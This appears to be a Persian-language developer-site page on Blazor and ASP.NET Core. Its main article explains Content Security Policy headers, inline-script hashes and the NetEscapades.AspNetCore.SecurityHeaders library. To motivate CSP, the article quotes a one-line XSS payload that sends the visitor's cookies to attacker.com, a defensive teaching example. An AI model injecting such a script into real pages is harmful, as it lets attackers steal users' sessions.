اشتراک‌ها
افزونه .NET Portability Analyzer

The .NET Portability Analyzer is a free Visual Studio Add-in (or console app) that will give you a detailed report on how portable your code is. 

افزونه .NET Portability Analyzer
نظرات مطالب
Blazor 5x - قسمت 31 - احراز هویت و اعتبارسنجی کاربران Blazor WASM - بخش 1 - انجام تنظیمات اولیه
- فلسفه‌ی کار با Blazor server، امکان دسترسی مستقیم به لایه سرویس‌های برنامه، بدون نیاز به طراحی یک Web API خاص آن‌ها است (کار با آن ساده‌تر است). اگر قرار است با Web API کار کنید، شاید بهتر باشد از WASM استفاده کنید.
- سرویس‌های Blazor Server، طول عمر خاصی دارند و تا زمانیکه اتصال برقرار است، از دست نمی‌روند. بنابراین خیلی از اطلاعات را می‌توان به صورت متداولی در آن‌ها ذخیره کرد و نیازی به تمهید خاصی نیست؛ هرچند encrypted local storage هم دارند.
- امکان طراحی interceptor برای HTTP Client هم وجود دارد تا هربار نیازی به مقدار دهی هدر Authorization نباشد.
- بله. در این سری اگر از Identity استفاده شده، بیشتر هدف مدیریت کاربران بوده و یا برای Blazor Server، دسترسی به کوکی خودکار پس از لاگین. نکات تهیه‌ی authentication provider سفارشی مطرح شده‌ی در قسمت wasm این سری برای کار با JWT، همه جا یکسان است و وابستگی به Identity و یا حتی Identity server پیش‌فرض مطرح شده‌ی توسط مایکروسافت، ندارد.
نظرات مطالب
Blazor 5x - قسمت یازدهم - مبانی Blazor - بخش 8 - کار با جاوا اسکریپت
امکان رندر کامل یک کامپوننت Blazor توسط کدهای جاوااسکریپتی در Blazor 6x

مرحله‌ی اول آماده سازی یک کامپوننت، جهت دسترسی به آن توسط کدهای جاوااسکریپتی، ثبت آن به نحو زیر در فایل Program.cs است:
builder.RootComponents.RegisterForJavaScript<Counter>(identifier: "counter");
البته نمونه‌ی blazor server آن به صورت زیر است:
builder.Services.AddServerSideBlazor(options =>
{
    options.RootComponents.RegisterForJavaScript<Counter>(identifier: "counter");
});
پس از آن، کدهای جاوااسکریپتی فراخوان کامپوننت Counter، به صورت زیر خواهند بود:
<button onclick="callCounter()">Call Counter</button>

<script>
  async function callCounter() {
     let containerElement = document.getElementById('my-counter');
     await Blazor.rootComponents.add(containerElement, 'counter', { incrementAmount: 10 });      
  }
</script>
 
<div id="my-counter">
</div>
که نتیجه‌ی نهایی این فراخوانی، در div ای با id مساوی my-counter، رندر خواهد شد. در اینجا نحوه‌ی ارسال پارامتری را نیز به این کامپوننت، مشاهده می‌کنید.
مطالب
بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
تابحال مطالب زیادی را در مورد تمیزکردن ورودی‌های کاربران، توسط ابزارهای Anti-XSS مطالعه کرده‌اید:
- «ایجاد یک ActionFilter جهت تمیز کردن اطلاعات ورودی در ASP.NET Core»

هدف تمام آن‌ها این است که اگر اطلاعاتی از کاربر دریافت شد، پس از تمیز شدن، مشکلی با نمایش آن‌ها نداشته باشیم و به محض نمایش یک صفحه، قطعه کد جاوااسکریپتی موجود در ورودی اولیه‌ی کاربر، در پشت صحنه به صورت خودکار اجرا نشود. اما ... هرچقدر هم سعی کنیم، به مواردی خواهیم رسید که ممکن است توسط این «تمیز کننده‌های ورودی» پوشش داده نشوند و دست آخر، قابلیت اجرایی داشته باشند. در این حالت به مفهوم دیگری می‌رسیم به نام Content security policy headers و یا به اختصار CSP که اساسا اجرای هر نوع اسکریپت تزریق شده‌ای را در صفحه، ممنوع می‌کند:
- «افزودن هدرهای Content Security Policy به برنامه‌های ASP.NET» برای مثال زمانیکه تنظیم CSP ابتدایی زیر را داریم:
 Content-Security-Policy: default-src 'self'
یعنی مرورگر فقط در این صفحه، اطلاعاتی را که متعلق به سایت و دومین جاری است، بارگذاری می‌کند. در این حالت دیگر ویدیوهای یوتیوب معرفی شده، فایل‌های CSS و یا جاوااسکریپتی دریافتی از یک CDN دیگر اجرا نمی‌شوند؛ چون بارگذاری نخواهند شد. همچنین دیگر نمی‌توان یک قطعه‌ی اسکریپتی را هم داخل صفحه به صورت inline تعریف و اجرا کرد. یعنی حداقل اسکریپت‌های داخل صفحه‌‌ای Google analytics هم از کار خواهند افتاد. که این رفتار دقیقا مطلوب ما است؛ چون نمی‌خواهیم هیچ نوع اسکریپت واقع در صفحه - خصوصا موارد دریافتی از کاربران (مانند مثال زیر) به‌عنوان ورودی! - اجرا شوند. برای نمونه در مثال زیر که پس از نمایش اطلاعات دریافتی از کاربر، در صفحه اجرا می‌شود، کوکی‌های کاربر جاری را جهت ثبت، در اختیار سایت دیگری قرار می‌دهد:
<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>


سؤال: چگونه توسط CSP، اسکریپت‌های inline خوب را از بد تشخیص دهیم؟

یک روش مواجه شدن با منع اجرای اسکریپت‌های inline، مجاز اعلام کردن تمام آن‌ها با فعالسازی و ذکر تنظیم unsafe-inline است که عملا CSP را بی‌مصرف می‌کند. روش دیگر آن، معرفی هش اسکریپت‌های inline مجاز است. اگر هدرهای CSP را فعال کرده باشیم، مرورگر زمانیکه به قطعه کد اسکریپتی که نمی‌خواهد آن‌را اجرا کند برسد، یک چنین پیام خطایی را در developer tools خود صادر می‌کند:
Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.
همانطور که مشاهده می‌کنید، یک هش از نوع SHA-256 نیز در اینجا ذکر شده‌است. این هش دقیقا مرتبط با قطعه کدی است که خود ما در صفحه قرار داده‌ایم و یک «اسکریپت خوب» به‌شمار می‌رود. روش معرفی آن به هدرهای CSP نیز به صورت زیر است:
Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='
در اینجا به نحو صریحی مشخص می‌کنیم که دقیقا کدام اسکریپت inline، مجاز به اجرا است؛ مابقی موارد به صورت خودکار بلاک خواهند شد. بدیهی است هر تغییری در اسکریپت قرار گرفته شد‌ه‌ی در صفحه، سبب تغییر هش آن خواهد شد و باید مجددا از طریق developer tools مرورگر و پیام خطایی که صادر می‌کند، مقدار این هش را به روز کرد.


معرفی کتابخانه‌ی NetEscapades.AspNetCore.SecurityHeaders‌

جهت سهولت تعریف و اعمال هدرهای CSP در تمام برنامه‌های مبتنی بر ASP.NET Core، منجمله Blazor server و Blazor WASM هاست شده، می‌توان از میان‌افزار NetEscapades.AspNetCore.SecurityHeaders استفاده کرد. برای اینکار ابتدا نیاز است بسته‌ی نیوگت آن‌را معرفی کرد:
<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>
و سپس به نحو زیر، یکی از امن‌ترین تنظیمات را تدارک دید:
public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}
چند نکته:
- این تنظیمات برای Blazor WASM تهیه شده‌اند. در این حالت ذکر UnsafeEval برای اجرای اسکریپت‌های فر‌یم‌ورک آن (حداقل تا نگارش 7) ضروری است. اگر از ASP.NET Core و یا Blazor Server استفاده می‌کنید، این تنظیم (UnsafeEval) را حذف کنید.
- روش معرفی هش‌ها را هم در صورت نیاز، توسط متد WithHash256 در این مثال مشاهده می‌کنید.

پس از تدارک کلاس تنظیمات فوق، روش استفاده‌ی از آن در فایل Program.cs و توسط میان‌افزار SecurityHeaders، به صورت زیر است:
var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...
این تنظیم سبب می‌شود تا هدرهای زیر به صورت خودکار تولید و به هر Response ای اضافه شوند:
Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block
نظرات اشتراک‌ها
معرفی کامپوننت DNTCaptcha.Blazor
مثال کامل آن برای Blazor Server و WASM l موجود هست و نیازی به بررسی دستی نتیجه ندارد. اگر وارد متد DoLoginAsync شد، یعنی کار اعتبارسنجی درست انجام شده و هیچ قسمت دیگری ندارد؛ چون view-model آن از ویژگی Compare استفاده کرده و نیازی به Compare دستی ندارد.
اشتراک‌ها
چرا لینک های درون صفحه ای (Anchor Tags) در Blazor عمل نمی کند و چگونه این مشکل را برطرف کنیم

اگر در درون یک کامپوننت بخواهیم لینکی تعریف کنیم که کاربر با کلیک بر روی آن به بخش دیگری از همان صفحه برود (کاری که به راحتی در Html با تعریف یک آنکور <a> میسر است) در Blazor میسر نیست.

در این مقاله روش برطرف کردن این مشکل به همراه سورس توضیح داده شده است.

چرا لینک های درون صفحه ای (Anchor Tags) در Blazor عمل نمی کند و چگونه این مشکل را برطرف کنیم
اشتراک‌ها
یک پروژه برای ادغام کدهای JWT Web Api و احراز هویت با refresh token , access token در پروژه WASM

در این پروژه از کدهای که قبلا در این سایت انتشار یافته بود استفاده شده است و کمی تغییرات و سفارشی نمودن کدها به یک مثال کامل از احراز هویت کاربران در سمت سرویس دهنده با استفاده از JWT Web Api و در سمت کلاینت از Blazor Client Side(WASM) استفاده شده است.

در ضمن این پروژه با دات نت 6 بروزرسانی شده است

یک پروژه برای ادغام کدهای JWT Web Api و احراز هویت با refresh token , access token در پروژه WASM